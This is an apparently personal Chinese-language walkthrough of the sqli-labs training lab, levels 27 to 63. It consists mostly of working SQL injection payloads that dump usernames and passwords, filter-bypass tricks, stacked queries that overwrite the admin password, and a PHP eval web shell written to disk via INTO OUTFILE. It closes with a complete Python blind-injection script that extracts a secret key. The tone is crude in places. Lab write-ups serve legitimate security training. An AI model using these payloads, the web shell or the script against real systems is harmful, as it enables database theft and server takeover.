?id=666'%a0uNion%a0sElect%a01,2,group_concat(schema_name)%a0from%a0information_schema.schemata;%00
//爆表:security
?id=666'%a0uNion%a0sElect%a01,2,group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479;%00
//爆字段得到用户名和密码:
?id=666'%a0uNion%a0sElect%a01,2,group_concat(username,'~',password%a0separator%a00x3c62723e)%a0from%a0security.users;%00
第二种方式报错注入:
//爆库:
?id=1'%0||updatexml(1,concat(0x7e,(SELeCt%a0schema_name%a0from%a0information_schema.schemata%a0limit%a09,1)),1)||%a0'1'='1
//爆表(通过修改limit1,1遍历所有的表信息)
?id=1'%0||updatexml(1,concat(0x7e,( SELeCt %a0table_name %a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479%a0limit%a01,1)),1)||%a0'1'='1
//爆字段(通过修改limit1,1遍历字段信息)
?id=1'%0||updatexml(1,concat(0x7e,(SEleCt%a0column_name%a0from%a0information_schema.columns%a0where%a0table_name=0x7573657273%a0limit%a04,1)),1)||%a0'1'='1
//爆表,通过修改limit遍历可以得到用户名密码所有的值;
?id=1'%0||updatexml(1,concat(0x7e,(SELeCt%a0concat_ws(0x7e,username,password)%a0from%a0security.users%a0limit%a01,1)),1)||%a0'1'='1
第二十七关a: (union过滤):
寻找注入点:
id=1' //回显,没有报错
id=1" //无回显,但是应该报错了,只是没有报错信息,不适合报错注入和盲注
id=1"%a0||"1"=1 //回显信息,找到注入点,闭合是双引号接下来使用联合注入
查看源码:
查看源码发现,通过双引号闭合,没有了报错信息,同时替换掉了很多关键字为空
通过联合注入寻找列数位3位,结合大小写绕过,空格替换过滤,再输入一个不存在的id值来让页面回显回显位。payload如下:
?id=111"%0aUniOn%0asElect%0a1,2,3%0a||%0a"1"="1
//回显位为2,1
//2中注入语句,爆库信息
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(schema_name)%0a from%0a information_schema.schemata),3%0a||%0a"1"="1
//%0a||%0a"1"="1这里也可以偷懒写法;%00进行闭合
//爆表信息
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(table_name)%0a from%0a information_schema.tables%0a where%0a table_schema=0x7365637572697479),3;%00
//爆字段信息:
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(username,'~',password %0aseparator %0a0x3c62723e)%0a from%0a security.users),3;%00
方法二基于时间的盲注:
?id=1"%26%26 if(length(database())>1,1,sleep(5));%00
//页面返回响应1秒,正确说明数据库长度>1
?id=1"%26%26 if(length(database())=1,1,sleep(5));%00
//响应五秒,说明不是1
。。剩下的就是burp进行抓包后重复爆出值即可
第二十八关:(union select 过滤)
测试寻找注入点:
id=1 //正常
id=1';%00 //错误。存在sql注入
?id=1' || '1'='1;%00 //回显正常,接下来进行注入
联合查询:
?id=1' union select 1,2,3 || '1'='1;%00
//报错,查看提示好像是没有了空格,用%0a进行替换
?id=1'%0a union%0a select %0a 1,2,3%0a||%0a '1'='1;%00
//报错,这次直接没了union,select,可能是过滤掉了,进行大小写绕过试试
?id=1'%0a uNion%0a sElEct %0a 1,2,3%0a||%0a '1'='1;%00
查看源码:
查看源码可知,id进行了(‘’)包裹,同时注释掉了错误信息,对常用的和select、union都进行了替换
//通过双写绕过select和union的过滤,将;%00闭合换成('1')=('
?id=111')%0a uniounion%0a selectn %0a select%0a 1,2,3%0a||%0a('1')=('
//成功爆出回显位2,1
//爆库:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0a||%0a('1')=('
//爆表:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=0x7365637572697479),3%0a||%0a('1')=('
//爆字段:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3%0a||%0a('1')=('
第二十八关a:(union select 过滤):
查看源码这关只过滤了 union select,比28关过滤的还少
和二十八关没区别:
//爆库:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0a||%0a('1')=('
//爆表:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=0x7365637572697479),3%0a||%0a('1')=('
//爆字段:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3%0a||%0a('1')=('
第二十九关(参数污染绕过):
查看源码:
由源码可知,关卡对id=1进行了检测,这个简单的waf只会判断第一个id,但是没有对第二个进行检测,可以使用参数污染注入
这里测试
?id=1 //没有爆出密码
?id=1&id=1' and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3
?id=1&id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
// 成功 爆出数据库密码(0x3c62723e是十六进制<br>,作用用来换行输出用户密码,%23就是url编码的#号,%23的作用是注释掉URL中#号后面的内容,以防止它影响到SQL注入语句的执行。)
第三十关(参数污染绕过):
查看源码:
查看源码发现和29题差不多,只是多了”
尝试注入点:
?id=1&id=1" //正常,没有报错,发现注入点
?id=1&id=1" and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3
?id=1&id=1" and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
-- //爆出用户名和密码
第三十一关(参数污染绕过):
查看源码:
和之前的29,30关几乎一摸一样,就是多了“)
尝试注入点:
?id=1&id=1") //注入点
?id=1&id=1") and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3
?id=1&id=1") and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
-- //爆出用户名和密码
第三十二关(宽字节注入):
源码:
由源码可知,用到了gbk编码,客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)
在payload中增加DF是一个字节,当addslashes($username)后,就会把单引号前面增加反斜线,然而,这个反斜线的十进制编码在asci表中是92,换算成16进制是5C,那么5C和前面的DF放在一起正好是两个字节:DF5C在GBK的编码下,就会放在一起被解释为一个汉字,这样的话,反斜线后面的单引号就和前面的单引号形成了闭台。
可以看出,宽字节注入的场景要求也非常苛刻,现在的后台系统,绝大部分都是utf8的编码,很少有设置为GBK的。
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \
具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字運,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉
例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。
paylod:
-- 爆出数据库的用户名和密码
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
第三十三关(宽字节注入):
查看源码:
从源码可知,id过滤使用的是函数addslashes()
addslashes() 函数的作用是返回在预定义字符之前添加反斜杠的字符串。
预定义字符有:
单引号('),双引号("),反斜杠(\)
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
三十二关也是使用了addslashes()函数,由此可知,和三十二的思路一模一样
payload:
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
第三十四关(POST 宽字节注入):
源代码:
尝试admin&admin登录,成功了,返回了正确信息
尝试使用万能密码登录:a%df\'
和a%df\'
,显示登录失败
使用burp抓包看看,
可以看到这里的username和password用户名和密码都被转码了。
将a%25df%5C%27
的25去除。修改成下图的样子,再放包就可以了。
成功显示回显位1,2。接下来的操作就是联合注入爆库爆表爆字段就行了。可以使用burp的重放功能。
方法二:
可以将单引号的UTF-8转换成UTF-16的单引号模式
'
然后再编号码的后面写上注入语句。
第三十五关(联合注入):
源码:
通过源码发现有addslashes进行转义,用了gbk编码,id值没有进行包裹,而且有输出错误信息
?id=1 //回显正常
?id=1' -- - //回显错误
用联合注入判断:
?id=1 union select 1,2,3
//正常回显,说明可以这样注入,3位数,输入不存在的id值来爆出回显位
?id=111 union select 1,2,3 //爆出2,3回显位
//爆库
?id=1111 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3
//爆表:
?id=1111 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3
//爆字段
?id=1111 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3
//爆用户名和密码:
?id=1 and 1=2 union select 1,
(select group_concat(username,password separator 0x3c62723e) from security.users),3
第三十六关(宽字节注入):
payload:
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23
第三十七关(宽字节注入):
与前几关相似,区别是post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数,但是原理是一样的。
payload:
案\'or 1=1#
11111
第三十八关(堆叠注入):
查看源码:
查看源码发现存在,堆叠注入,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
尝试注入点:
?id=1' -- - //回显
?id=1' and 1=2 -- - //不回显
?id=1' or 1=2 -- - //回显
?id=1' and 1=1-- - //回显
尝试使用堆叠注入:
//先看看能不能回显个所有的数据库名
?id=1';select 1,2,(show databases);-- + -- //无效
//向数据表插入id、账号、密码
?id=1';insert into users(id,username,password) values ('19','hi','I love you')-- +
//然后查看有没有新建成功
?id=19' -- - //查询到了
第三十九关(堆叠注入):
看源码和上一题一样,就是变成了数字型,不需要闭合。
payload:
//爆库:
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
//爆表:
?id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="security") ,0x7e),3)%23
//爆用户名密码
?id=-1 union select extractvalue(1,concat(1,(select concat(username,password) from security.users limit 1,1)))%23
第四十关(堆叠注入):
源码:
测试下:
?id=1 回显Dumb
?id=1'-- + 无回显
?id=1-- + 回显Dumb
?id=1"-- + 回显Dumb
?id=1''''''-- + 回显Dumb
?id=11#1 回显admin3,说明注释符都能用
?id=11--+1 回显admin3
?id=-1' union select 1,2,3--+
?id=-1" union select 1,2,3--+
?id=-1') union select 1,2,3--+
说明闭合是'),无报错信息,不能用报错注入
运用联合注入:
//爆库:
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆表:
?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//爆字段:
?id=1') and 1=2 union select 1,2,group_concat(username,'~',password separator 0x3c62723e) from security.users--+
第四十一关(堆叠注入):
对比源码。和上面两题一样,就是没报错信息了
payload:
//爆库:
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆表:
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//爆字段:
?id=1 and 1=2 union select 1,2,group_concat(username,'~',password separator 0x3c62723e) from security.users--+
第四十二关(POST堆叠):
查看源码可知:
Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候,可以在密码哪里进行注入攻击。
payload
login_user=admin&login_password=`1';update users set password='1' where username='admin'%23`&mysubmit=Login
用修改后的用户名和密码进行登陆
第四十三关(POST堆叠):
验证注入点:
login_user=admin&login_password=`1'`&mysubmit=Login
pyload:
login_user=admin&login_password=`1');update users set password='123' where username='admin'%23`&mysubmit=Login
这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24
也可以进行万能密码绕过:1’ or 1#
login_user=admin&login_password=1' or 1#&mysubmit=Login
第四十四关(POST堆叠):
源代码:
和前几关一样,但是没有报错注入的利用方法。同样也可以进行万能密码绕过
第四十五关(POST堆叠):
源代码:
与四十三闭合方式一致。但是少了错误注入
不演示了
第四十六关(sort注入或者order by排序注入):
源代码:
界面这里都有提示用sort()函数
尝试使用
?sort=1
因为看到界面有错误信息,结合源代码可以尝试使用错误输入:
pyload:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +
可以注入得到表名:emails,referers,uagents,users
爆出字段:
paylod:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1) -- +
成功得到user表中的用户名和密码字段
第四十七关(sort注入和order by 排序盲注入):
和四十六关流程一样,只是多了‘’包裹:
payload:
-- 爆表名:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +
-- 爆字段得到用户名和密码:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1) -- +
第四十八关(sort注入和order by 排序盲注入字符型):
测试寻找注入点:
?sort=1 -- //回显排序结果
?sort=1-- + -- //回显排序结果
?sort=1'-- + -- //没有
?sort=1')-- + -- //没有
?sort=1"-- + -- //没
?sort=1")-- + -- //没有
所以大概猜到是字符型的,没有闭合。
我们来看源码:
尝试报错注入:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +
-- //没用,所以没有报错注入的机会
可以使用布尔盲注和时间注入获取数据:
一个个使起来太麻烦了,这里直接上sqlmap
这里可以尝试是否能上传文件写入phpinfo查看下信息,注入累了,让我狠狠的进入进入你的服务器
pyload:
?sort=1 into outfile "/secenvs/sqlilabs/Less-48/fuck_you.php" lines terminated by '<?php phpinfo(); ?>'
写个php一句话上去用蚁剑进行链接:
?sort=1 into outfile "/secenvs/sqlilabs/Less-48/fuck.php" lines terminated by '<?php eval($_POST[root]); ?>'
第四十九关(order by 排序盲注入):
(这里图片有错就是49关)
寻找注入点:
?sort=1 -- //回显排序结果
?sort=1-- + -- //回显排序结果
?sort=1'-- + -- //回显排序结果
?sort=1')-- + -- //没有
?sort=1"-- + -- //回显排序结果
?sort=1")-- + -- //回显排序结果
查看源码:
和前48关差不多,就是变成了字符型的,闭合是单引号
使用闭合尝试
pyload:
?sort=1") and if(ascii(substr(database(),1,1))=115,sleep(5),0)– +
第五十关(order by 排序堆叠注入):
查看源码:
和四十九关的区别是查询方式不是 mysql_query而是mysqli_multi_query
看起来像是堆叠注入,开始验证:
?sort=1 //回显排序结果
?sort=1' //报错,可以尝试下报错注入
尝试报错注入:payload:
?sort=1 and 1=1 -- - //回显排序结果
-- 爆表名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +
-- 得到表名:emails,referers,uagents,users
-- 爆字段,得用户名和密码:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1)-- +
-- 得到用户名和密码的排序回显结果
尝试堆叠注入:payload:
?sort=1;insert into users(id,username,password) values ('18','HI','fuckyou')
第五十一关(order by 排序堆叠注入):
源码:
和前几题一样,闭合方式是是单引号
payload:
?sort=1';insert into users(id,username,password) values ('20','and','me')-- -
第五十二关(order by 排序堆叠注入):
测试注入点:
?sort=1 //回显列表
?sort=1' //无回显
?sort=1" //无回显
?sort=1") //无回显
?sort=1")) //无回显
源码:
和前51关一样,只是没有报错信息了,不能用错误注入
直接堆叠注入插入表信息;
?sort=1;insert into users(id,username,password) values ('22','and','me')
第五十三关(order by 排序堆叠注入):
看页面提示又是sort排序堆叠注入
测试注入点:
?sort=1 //回显排序信息
?sort=1'
?sort=1;%00
和五十二关一样,只是闭合方式变了
插入表:
?sort=1';insert into users(id,username,password) values ('22','and','me');%00
源码:
第五十四关(挑战1):
页面的题意:
此挑战的目标是在少于 10 次尝试中仅从数据库 ('CHALLENGES') 中的随机表中转储(key密钥)
为了好玩,每次重置时,挑战都会生成随机的表名、列名、表数据。始终保持新鲜
开始挑战:
尝试寻找sql注入的闭合点:
?id=1' -- //失败,还有9次机会
?id=1' and 1=1-- -
-- //是有回显,显示出登录的账号和密码了,还有8次机会,说明这里只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位应该不算到10次里面
-- 再次尝试
?id=1' and 1=1?id=1-- - //失败,还有7次
?id=1' and 1=1?id=1'-- - //失败,还有6次
?id=1' and 1=1?id=1' and 1=2-- - //失败.还有5次
-- 根据前面的判断闭合的方式,再次尝试,在-- -后面加入
-- ?id=1' and 1=1-- +?-- -id=1' and 1=2-- + //有回显,显示账号密码了,还有4次机会
-- //猜字段数
?id=1' order by 3--+ //回显,还有三次机会
?id=1' order by 4--+ //无回显,说明只是到3,还有两次机会
//尝试联合注入
?id=1' and 1=2 union select 1,2,3--+
//有回显2,3字段占位符
//爆库:
?id=1' and 1=2 union select 1,(database()),3--+
//爆出库名challenges
//根据库名爆表名:
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:B3YWJTJ2P5(注意这里的表名超过10次会自动刷新重命名)
//爆字段:
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x423359574a544a325035),3--+
//0x423359574a544a325035是十六进制的B3YWJTJ2P5
//拿到字段名称:id,sessid,secret_QPSY,tryy
//key应该就在这个secret_QPSY中(这个字段信息超过十次也会重命名)
//通过拿到的表名和字段信息结合爆出key
?id=1' and 1=2 union select 1,(select group_concat(secret_QPSY) from challenges.NPTQZFC2UR),3--+
//输入key后登录即可
结合源码进行分析:
可以看到注释掉了报错,单引号闭合等等
第五十五关(挑战2):
和五十四关相同,唯一区别就是尝试的次数变成了14次。
id值的包裹变成了()
:这个多的四次的尝试估计就是用来给你试id值的包裹的
payload如下:
-- //猜字段数
?id=1) order by 3--+ //回显
?id=1) order by 4--+ //无回显,说明只是到3,
//尝试联合注入
?id=1) and 1=2 union select 1,2,3--+
//有回显2,3字段占位符
//爆库:
?id=1) and 1=2 union select 1,(database()),3--+
//爆出库名challenges
//根据库名爆表名:
?id=1) and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:VH3KWNYAFV(注意这里的表名超过10次会自动刷新重命名)
//爆字段:
?id=1) and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x5648334b574e59414656),3--+
//0x5648334b574e59414656是十六进制的VH3KWNYAFV
//拿到字段名称:id,sessid,secret_VLR6,tryy
//key应该就在这个secret_VLR6中(这个字段信息超过十次也会重命名)
//通过拿到的表名和字段信息结合爆出key
?id=1) and 1=2 union select 1,(select group_concat(secret_VLR6) from challenges.VH3KWNYAFV),3--+
//拿到key输入key后登录即可
第五十六关(挑战3):
和前两题没区别.只是闭合方式改成了('')
payload:
-- //猜字段数
?id=1') order by 3--+ //回显
?id=1') order by 4--+ //无回显,说明只是到3
//尝试联合注入
?id=1') and 1=2 union select 1,2,3--+
//爆库:
?id=1') and 1=2 union select 1,(database()),3--+
//爆出库名challenges
//根据库名爆表名:
?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:KYKBVCIPNE(注意这里的表名超过10次会自动刷新重命名)
//爆字段:
?id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x4b594b42564349504e45),3--+
//0x4b594b42564349504e45是十六进制的KYKBVCIPNE
//拿到字段名称:id,sessid,secret_YC3K,tryy
//key应该就在这个secret_YC3K中(这个字段信息超过十次也会重命名)
//通过拿到的表名和字段信息结合爆出key
?id=1') and 1=2 union select 1,(select group_concat(secret_YC3K) from challenges.KYKBVCIPNE),3--+
//拿到key输入key后登录即可
第五十七关(挑战4):
和前几关一样,就是闭合方式变成了双引号
payload:
-- //猜字段数
?id=1" order by 3--+ //回显
?id=1" order by 4--+ //无回显,说明只是到3
//尝试联合注入
?id=1" and 1=2 union select 1,2,3--+
//爆库:
?id=1" and 1=2 union select 1,(database()),3--+
//爆出库名challenges
//根据库名爆表名:
?id=1" and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:V3FIGCZTHU(注意这里的表名超过10次会自动刷新重命名)
//爆字段:
?id=1" and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x5633464947435a544855),3--+
//0x5633464947435a544855是十六进制的V3FIGCZTHU
//拿到字段名称:id,sessid,secret_O5OQ,tryy
//key应该就在这个secret_O5OQ中(这个字段信息超过十次也会重命名)
//通过拿到的表名和字段信息结合爆出key
?id=1" and 1=2 union select 1,(select group_concat(secret_O5OQ) from challenges.V3FIGCZTHU),3--+
//拿到key输入key后登录即可
第五十八关(挑战5):
输入id=1后发现尝试次数变成了五次,太少了
用联合注入查询尝试:
?id=-1' union select 1,2,3-- -
//虽然回显了,说明闭合没问题,但是没有回显位,说明联合注入不行
尝试报错注入:
//爆表信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表8Q9UF4NJ5P (超过5次次数会重置名字)
//爆字段信息:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x504342414c5258324b58)),1);%00
//得到字段:id,sessid,secret_NHUM,tryy
//密钥在secret_NHUM中
//通过拿到的表名和字段信息结合爆出key
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_NHUM) from challenges.8Q9UF4NJ5P),0x7e),1);%00
//拿到key登录即可
源码:
第五十九关(挑战6):
和上一关一样,五次机会,失败了重置字段名和表名
尝试报错注入:
?id=1 //回显
?id=1';%00 //报错
//说明和五十八关只是闭合方式不一样.去掉了单引号
//爆表信息
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表ZQV2RZ8OIU (超过5次次数会重置名字)
//爆字段信息:
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x5a515632525a384f4955)),1);%00
//得到字段:id,sessid,secret_P6WX,tryy
//密钥在secret_P6WX中
//通过拿到的表名和字段信息结合爆出key
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_P6WX) from challenges.ZQV2RZ8OIU),0x7e),1);%00
//拿到key登录即可
源码:
可以看到id没有包裹,有报错信息,可以进行错误注入
第六十关(挑战7):
同样五次机会,和上一关一样,只是闭合方式变成了("")
payload:
//报错注入
//爆表信息
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表E6CNSXX1ST (超过5次次数会重置名字)
//爆字段信息:
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x4536434e535858315354)),1);%00
//得到字段:id,sessid,secret_JM1G,tryy
//密钥在secret_JM1G中
//通过拿到的表名和字段信息结合爆出key
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_JM1G) from challenges.E6CNSXX1ST),0x7e),1);%00
//拿到key登录即可
源码:
第六十一关(挑战8):
同样五次机会,和前几关一样,只是闭合方法不一样,变成了((''))
,其余的都一样
直接报错注入:
//报错注入
//爆表信息
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表2BGWCJ1DNH (超过5次次数会重置名字)
//爆字段信息:
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x32424757434a31444e48)),1);%00
//得到字段:id,sessid,secret_0FYP,tryy
//密钥在secret_0FYP中
//通过拿到的表名和字段信息结合爆出key
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_45FL) from challenges.72Q8AMIRUB),0x7e),1);%00
//拿到key登录即可
源码:
第六十二关(挑战9):
看到页面尝试次数变成130次了,说明大概率是盲注
先查看源码:
可以看到源码中包裹的是用了('')
并且注释掉了报错信息,进行了转义操作。
用延时注入可以先判断数据库的长度:
?id=1') AND if((length(database())=10),1,sleep(5))) //challenges 的长度位5
?id=1') and if(left((select table_name from information_schema.tables where table_schema='challenges' limit 0,1)>'a',1,sleep(5))
//判断表的第一个字符是不是比a大,然后一个个猜
不过延时注入太坑爹了,一个个试起来也很麻烦,这里介绍另外两种注入方法
第一种是抓包,修改cookies为空,再放包,这样后端没有收到cookies就可以忽略次数的限制。
第二种就是写个脚本,由于二分法大概率会超出限制,导致重置数据库表名和列
二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,可以利用sql响应的多状态来进行注入,比如id=1时返回的login name为Angelina(这里数据库的id为1的是Dumb,但是响应中返回的name是编码在php代码中的数组里拿到的,它是从0开始的),为2时返回是。。。。如此类推
如果我们要猜数据库里的第一个字符的N个比特是什么,我们就要2的N个次方状态,通过对比特,再倒着推出,返回的数据库的信息,这样就可以拿到数据库的信息,假如我们要判断某个字符串第i个字符的第n位开始的三个比特是否为:000,001,010,100,101,110或者111,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1))
是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。
90 & 7 (00000111) = 2
90 & 56 (00111000) = 24
90 & 224 (11100000) = 64
然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 secure
,stupid
, secure
,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。
一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。
//数字和大小写字母的ASCII码的二进制是:
数字: 0011xxxx
大写字母: 010xxxxx
小写字母: 011xxxxx
在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可
通过上面的思路,编写脚本payload进行注入:
#!/usr/bin/python3
# -*-coding:utf-8-*-
import re
import requests
# sqli-lab第62关的脚本,该脚本是一个盲注脚本,用于获取数据库名和表名, 以及表中的数据
# 63关的脚本和62关的脚本基本一样,只是获取的数据不一样
url = "http://192.168.153.130/secenvs/sqlilabs/Less-62/index.php" # 改成你的地址
try_count = 0
def extract_bits(query, i, bit_values: list):
"""
获取query执行结果的第 i 个(从1开始算)字符的3个比特
哪3个比特由bit_values指定
"""
global try_count
assert len(bit_values) == 8
bit_marks = 0
for v in bit_values:
bit_marks |= v
# 利用多状态注入,每次只能获取一个比特,所以需要多次请求
# 假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,
# 如:我们要判断某串字符串第i个字符的第j位开始的三个比特是否为:000,001,010,011,100,101,110或111
# 因为users表里的数据有13条,也就是13个状态,大于8,小于16,
# 所以每次请求通过比较8个状态获取3个比特的数据。
# 为了获取这三个比特,我们需要8个状态,即8次请求
payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)
resp = requests.get(url, params={"id": payload})
try_count += 1
infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
assert match.group(1) in infos
bits = bit_values[infos.index(match.group(1))]
return bits
def extract_data(query, length):
"""
在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;
而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。
所以对于每个字符,我们只需获取第7位和前5位即可。
获取query查询结果的length个字符,每个字符只获取其第7位和前5位
"""
res = ""
for i in range(1, length+1):
# 这里的b2是前5位,b1是第7位
b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111
b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000
if b1 & 0b01000000 == 0:
# 该字符为数字
bit = b1 | b2 | 0b00100000
else:
# 该字符为字母
bit = b1 | b2
res += chr(bit)
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
print("secret_key:", secret_key)
print("完成 尝试了:", try_count)
执行结果:
table_name: 15MYU0HVBL
secret_key: Z2YLJ2ZH6VASNBAVRVOCBNVO
完成 尝试了: 68
第六十三关(挑战10):
和六十二关一样,id甚至没咋过滤,直接用六十二关的多状态的payload即可:
